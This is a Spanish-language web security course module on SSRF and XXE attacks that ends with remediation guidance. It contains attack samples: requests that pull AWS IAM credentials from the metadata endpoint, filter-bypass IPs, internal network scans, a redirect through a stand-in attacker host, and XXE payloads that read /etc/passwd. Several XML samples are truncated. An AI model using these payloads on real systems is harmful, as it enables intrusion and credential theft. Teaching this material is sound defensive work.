AUDITORÍA DE INFRAESTRUCTURA S05

INPUT / OUTPUT HANDLING DE ÉLITE

Desmontando la lógica de confianza entre el servidor de aplicaciones y la red interna mediante ataques de SSRF y XXE.

01. DEL USUARIO A LA INFRAESTRUCTURA

Hasta ahora, nuestro foco fue el **Client-Side**. Atacábamos al usuario para robar su sesión o forzar acciones en su nombre. Hoy el objetivo cambia radicalmente.

En el **Server-Side Hacking**, dejamos de engañar al humano para engañar a la máquina. Aprovechamos la posición privilegiada que tiene el servidor de aplicaciones dentro de su propio centro de datos.

El Servidor como Herramienta

El servidor deja de ser la víctima pasiva y se convierte en nuestro **pivote**. Lo usamos para atacar bases de datos, APIs internas y servicios de administración que están protegidos por firewalls perimetrales.

CONCEPTO DE

```
Firewall Exterior: BLOQUEA ATACANTE
Firewall Interior: PERMITE APP SERVER
-------------------------------------
App Server → DB (10.0.0.5): PERMITIDO
App Server → Admin (127.0.0.1): PERMITIDO
```

La seguridad interna suele ser mucho más laxa que la externa bajo el supuesto de que "nadie de afuera puede entrar".

02. ¿QUÉ ES REALMENTE SSRF?

El **Server-Side Request Forgery** ocurre cuando una aplicación web permite a un usuario enviar una petición HTTP arbitraria originada desde el backend del servidor de aplicaciones.

A diferencia de un redireccionamiento abierto, donde el atacante solo cambia hacia dónde va el usuario, en SSRF el **origen** de la conexión es el servidor. Esto permite evadir listas de control de acceso (ACLs) basadas en IP.

Escenario de Explotación

→ **Entrada:** Funcionalidades de "Importar desde URL", "Webhooks" o "Generadores de PDFs".

→ **Proceso:** El servidor recibe la URL y usa librerías como *cURL* o *urllib* para descargar el contenido.

→ **Ataque:** El atacante inyecta http://127.0.0.1/admin en lugar de una URL legítima.

PAYLOAD

```
GET /api/fetch_img?url=http://127.1:6379
-------------------------------------
# Intento de interactuar con Redis
# local mediante el App Server.
```

03. NIVELAMIENTO: REDES PRIVADAS

Para ejecutar SSRF de forma profesional, debemos memorizar los rangos de IP definidos en el **RFC 1918**. Estas son direcciones no enrutables en internet pero omnipresentes en infraestructuras internas:

Clase	Rango de Red	Máscara / Prefijo	Uso Habitual
A	10.0.0.0 — 10.255.255.255	10.0.0.0 / 8	Nubes (VPCs) y redes corporativas de gran escala.
B	172.16.0.0 — 172.31.255.255	172.16.0.0 / 12	Entornos de virtualización, Docker y Kubernetes.
C	192.168.0.0 — 192.168.255.255	192.168.0.0 / 16	Redes domésticas, oficinas y áreas de gestión.

> **Por qué importa:** Cuando auditas una web, tu objetivo es "fuzzear" estos rangos. Si el servidor responde a 10.0.0.5 con un 200 OK y a 10.0.0.6 con un Timeout, has encontrado un host interno.

04. EL PELIGRO DEL LOCALHOST (127.0.0.1)

La interfaz de **loopback** es el mayor punto ciego de los desarrolladores. Muchos servicios escuchan únicamente en localhost bajo la falsa premisa de que "nadie puede llegar allí desde afuera".

Servicios vulnerables habituales:

→ **Bases de Datos (Redis, Memcached):** A menudo sin contraseña para mejorar el rendimiento interno.

→ **Paneles de Admin (JBoss, Tomcat):** Expuestos localmente para tareas de mantenimiento.

→ **Frameworks de Debug:** Como el panel de Flask o Django en modo desarrollador.

BYPASS DE IP

```
# Si '127.0.0.1' está bloqueado:
http://2130706433/ (Decimal)
http://0177.0.0.1/ (Octal)
http://127.1/
http://[::1]/ (IPv6)
```

El SSRF explota la **identidad** del servidor. Para el panel admin, la petición viene de "él mismo", por lo tanto, no pide credenciales.

05. ESCANEO DE RED INTERNA VÍA SSRF

A menudo, el servidor de aplicaciones es el único equipo con dos tarjetas de red (una pública, una privada). Usarlo para escanear la red interna se denomina **SSRF Pivot**.

Metodología paso a paso:

→ Identificar un parámetro vulnerable (ej. ?stockApi=).

→ Cargar el request en **Burp Intruder**.

→ Configurar un payload de tipo "Numbers" para iterar el último octeto de la IP (1-254).

→ Analizar las diferencias de respuesta (Status Code, Content-Length, Time).

INTRUDER

```
GET /check?url=http://192.168.0.§1§:8080
-------------------------------------
192.168.0.1 → 504 (Timeout)
192.168.0.2 → 404 (No encontrado)
192.168.0.3 → 200 (HOST ENCONTRADO)
```

06. SSRF EN CLOUD: EL SANTO GRIAL

Los proveedores de nube (AWS, Google Cloud, Azure) tienen un servicio interno de metadatos (IMDS) accesible vía HTTP en una IP estática. Este es el objetivo número uno de un auditor en la nube.

IP Universal: 169.254.169.254

Esta IP de enlace local (link-local) solo es accesible desde la propia instancia. Un SSRF aquí permite la exfiltración de **IAM Roles**.

Qué podemos extraer:

→ **AWS:** Credenciales temporales (AccessKeyId, SecretAccessKey, Token).

→ **GCP:** Kube-env y tokens de servicio.

→ **User-Data:** Scripts de configuración que suelen contener passwords en texto plano.

AWS IMDSV1

```
GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
```

07. BLIND SSRF: ATAQUES FUERA DE BANDA

Ocurre cuando la aplicación realiza la petición pero **no muestra** el contenido de la respuesta en el navegador. Es más común y difícil de explotar.

Cómo detectarlo (OAST)

Usamos un servidor externo que controlamos (como **Burp Collaborator**). Si el servidor vulnerable intenta conectar a nuestra IP, confirmamos el SSRF.

```
url=http://qbit-specialist.oastify.com
```

Ataque Basado en Tiempo

Si la petición a una IP interna tarda 10 segundos antes de dar error, el puerto está probablemente filtrado. Si da error en 10ms, el puerto está cerrado.

Impacto Crítico: Aún si es ciego, se puede usar para **Shellshock** contra servidores internos o ataques de denegación de servicio (DoS).

08. EVASIÓN DE FILTROS AVANZADA

Los desarrolladores suelen usar listas negras (Blacklists). Aquí es donde el auditor debe ser creativo:

DNS Rebinding

Configuramos un dominio (ej. ataque.com) para que devuelva una IP pública real al principio (para pasar el filtro), pero en la segunda petición devuelva 127.0.0.1.

Redirecciones (302)

Si el filtro solo mira la URL inicial, enviamos el tráfico a nuestro servidor http://evil.com/redirect, el cual responde con un Location: http://169.254.169.254.

> **Otras técnicas:** Uso de @ para confundir al parser (http://google.com@127.0.0.1) o uso de formatos malformados de IP.

09. XML: EL LENGUAJE DE LOS DATOS

Para entender XXE, primero debemos dominar el **XML (eXtensible Markup Language)**. A diferencia de JSON, XML no es solo un formato de transporte; es un lenguaje que permite lógica interna.

Estructura Básica:

→ **Prolog:** Define la versión y el encoding.

→ **Root Element:** Contenedor de todos los datos.

→ **DTD (Document Type Definition):** Define las reglas del documento. **Aquí vive la vulnerabilidad.**

ANATOMÍA

```
⟵ Prolog
⟵ DTD
⟵ Root
  101
```

10. ENTIDADES: LAS VARIABLES DE XML

Las **Entidades** son como variables que se definen en el DTD para ser reutilizadas en el documento. Ayudan a evitar la repetición de datos.

Entidad Interna (Segura)

```
...
Copyright &company;
```

Entidad Externa (PELIGROSA)

La palabra clave **SYSTEM** le dice al parser XML: "Ve a buscar el contenido de esta variable a esta URL o archivo".

11. ¿QUÉ ES XXE INJECTION?

XML External Entity (XXE) es una vulnerabilidad donde un atacante interfiere en el procesamiento de datos XML de una aplicación.

Ocurre porque muchos parsers XML antiguos o mal configurados tienen activada por defecto la resolución de entidades externas. Esto permite al atacante definir entidades que apuntan a recursos del servidor.

El Fallo de Diseño

El estándar XML permite cargar recursos externos. El error no es el protocolo, sino que el servidor **confía plenamente** en la definición que envía el cliente sin filtrarla.

PAYLOAD DE

```
]>
✓
```

12. EXPLOTACIÓN: LECTURA DE ARCHIVOS (LFI)

El uso más común de XXE es extraer archivos sensibles del sistema operativo (LFI - Local File Inclusion). Usamos el esquema de URI file://.

Objetivos en Linux:

→ /etc/passwd (Usuarios).

→ /etc/hosts (Red interna).

→ ~/.ssh/id_rsa (Llaves privadas).

Objetivos en Windows:

→ C:/windows/win.ini

XXE PAYLOAD

```
  read SYSTEM "file:///etc/passwd">
]>

  &read;
```

13. XXE COMO VECTOR DE SSRF

Si el servidor tiene bloqueados los parámetros de URL para SSRF, el parser XML puede ser nuestra puerta trasera. En lugar de file://, usamos http://.

> Al procesar la entidad, el motor XML del servidor realizará la petición HTTP hacia el objetivo indicado. El resultado se inyectará en el XML procesado.

Ataque a Metadatos Cloud

Escaner de Puertos

Esta técnica es extremadamente efectiva para mapear la infraestructura interna desde un endpoint que aparentemente solo recibe datos.

14. EXFILTRACIÓN AVANZADA: PHP WRAPPERS

Un problema común en XXE es que si intentamos leer un archivo .php o un archivo con caracteres especiales (como < o &), el parser XML se rompe y da error de sintaxis.

Solución: Codificar el contenido en **Base64** mediante wrappers de PHP. Esto asegura que el contenido llegue como un string "plano" que no rompe el XML.

BASE64

> **Flujo de ataque:** Recibimos un bloque gigante de Base64 → Lo decodificamos localmente → Obtenemos el código fuente completo con las credenciales de la DB.

15. BLIND XXE: EXFILTRACIÓN OUT-OF-BAND

¿Qué pasa si la aplicación procesa el XML pero no refleja ningún campo en la pantalla? Estamos ante un **Blind XXE**.

Para extraer datos aquí, usamos **Entidades de Parámetro** (identificadas por el símbolo %). Estas entidades solo pueden usarse dentro del DTD.

El truco del servidor externo:

→ Hacemos que el servidor vulnerable cargue un DTD malicioso desde **nuestro** servidor.

→ Ese DTD lee el archivo local.

→ Envía el contenido de vuelta a nuestro servidor como un parámetro de URL.

DTD MALICIOSO

```
">
%eval;
%exfil;
```

16. BLIND XXE VÍA MENSAJES DE ERROR

Si el servidor tiene bloqueada la salida a internet (no podemos usar OOB), aún podemos intentar exfiltrar datos provocando un **error de parseo intencional**.

> Definimos una entidad que intente cargar un archivo inexistente cuyo nombre sea el contenido del archivo que queremos robar.

ERROR-BASED

```
">
%eval;
%error;
```

Resultado: El servidor arroja un error: *"java.io.FileNotFoundException: /nonexistent/root:x:0:0:root..."*. El contenido del archivo aparece en el log de errores.

17. XINCLUDE: EL VECTOR SILENCIOSO

Algunas aplicaciones reciben datos del usuario y los insertan dentro de un documento XML más grande en el backend. Como no controlamos el documento completo, no podemos definir un !DOCTYPE.

Para esto usamos **XInclude**, una parte del estándar XML que permite incluir documentos externos en cualquier parte del cuerpo del XML.

XINCLUDE

Es una técnica ninja cuando parece que el endpoint no es vulnerable a XXE tradicional porque no acepta DTDs.

18. XXE EN FORMATOS DE ARCHIVOS COMUNES

Muchos formatos de archivos modernos son en realidad contenedores ZIP llenos de archivos XML. Esto abre la puerta a XXE "escondido" en archivos legítimos.

Office (DOCX/XLSX)

El estándar OOXML usa XML para definir el contenido. Podemos inyectar XXE en word/document.xml.

SVG (Imágenes)

Las imágenes vectoriales son puro XML. Un sistema que procesa o redimensiona SVGs es vulnerable a XXE.

PDF / RSS

Cualquier formato que soporte metadatos basados en XML (como XMP) puede ser un vector.

> **Consejo de Auditoría:** Si ves una función de "Subir imagen", probá subir un SVG con un payload XXE. Podrías leer el /etc/passwd de un servidor de procesamiento de imágenes.

19. REMEDIACIÓN DEFINITIVA: SSRF

La mitigación debe ser multicanal. No confíes en una sola capa.

Capa de Aplicación:

→ **Listas Blancas (Whitelists):** Solo permitir dominios e IPs conocidos.

→ **Validación de Protocolo:** Solo permitir https://. Descartar file, gopher, dict.

→ **Sanitización:** No confiar en nombres de host; validar la IP resultante tras la resolución DNS.

Capa de Red:

→ **Firewall Egress:** Bloquear por defecto cualquier conexión saliente del App Server hacia la red interna, excepto a puertos específicos.

→ **Autenticación:** Todo servicio interno (Redis, DB) DEBE pedir contraseña, aunque esté en localhost.

20. REMEDIACIÓN DEFINITIVA: XXE

La única forma segura de mitigar XXE es configurar el parser XML para que ignore por completo las entidades externas y los DTDs.

MITIGACIÓN EN JAVA

```
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

En resumen: Si no necesitas DTDs, desactívalos. Si necesitas XML, usa las versiones más modernas de las librerías, que suelen traer estas protecciones por defecto (ej. libxml2 2.9+).

FUNDAMENTOS TEÓRICOS
COMPLETADOS

VANGUARDIUN ACADEMY // DAVID JEFERSON